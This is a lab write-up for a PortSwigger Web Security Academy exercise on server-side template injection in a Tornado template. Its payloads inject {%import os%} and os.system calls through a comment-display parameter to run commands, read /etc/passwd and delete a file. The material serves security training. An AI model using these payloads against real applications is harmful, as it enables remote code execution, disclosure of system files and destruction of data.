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# Basic SSTI in a Python Code Context
Basic SSTI in a Python Code Context notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.
### Basic Server-side Template Injection (code Context)
This lab presents a vulnerability **Server-Side Template Injection (SSTI)** due to unsecured use of a **Tornadotemplate**. / The goal is to run arbitrary code via the template engine, then delete the `morale.txt` file located in Carlos' personal directory.
A test account is provided: **wiener:peter**.
#### **Application Analysis**
In the section that defines how the user wishes to be displayed during a comment, it is possible to modify the parameter transmitted:
The error returned by the server confirms the presence of a **Python/Tornado** engine, suggesting a template injection.
```bash
blog-post-author-display=user.JAAJAJAJ&csrf=mrMPde6YeaY1AVSQZizKC9IKWI3VFNoj
```
#### **Tests D'injection Basique**
To check if the template is interpreted:
```python
{{7*7}}
}}{{7*7
```
The rendering confirms the injection: the calculation is performed by the template engine.
#### **Order Execution**
Tornado allows the import of modules directly into the template
```python
{{os.system('whoami')}}
{%import os%}{{os.system('whoami')}}
```
#### **Read File `/etc/passwd`**
Injection adapted to the vulnerable parameter
{% code overflow="wrap" %}
```python
blog-post-author-display=user.name}}{%import os%}{{os.system('cat /etc/passwd')}&csrf=mrMPde6YeaY1AVSQZizKC9IKWI3VFNoj
```
{% endcode %}
#### **Deleted Moral File. Txt**
Final order to validate the lab:
{% code overflow="wrap" %}
```bash
blog-post-author-display=user.name}}{%import os%}{{os.system('rm /home/carlos/morale.txt')}&csrf=mrMPde6YeaY1AVSQZizKC9IKWI3VFNoj
```
{% endcode %}
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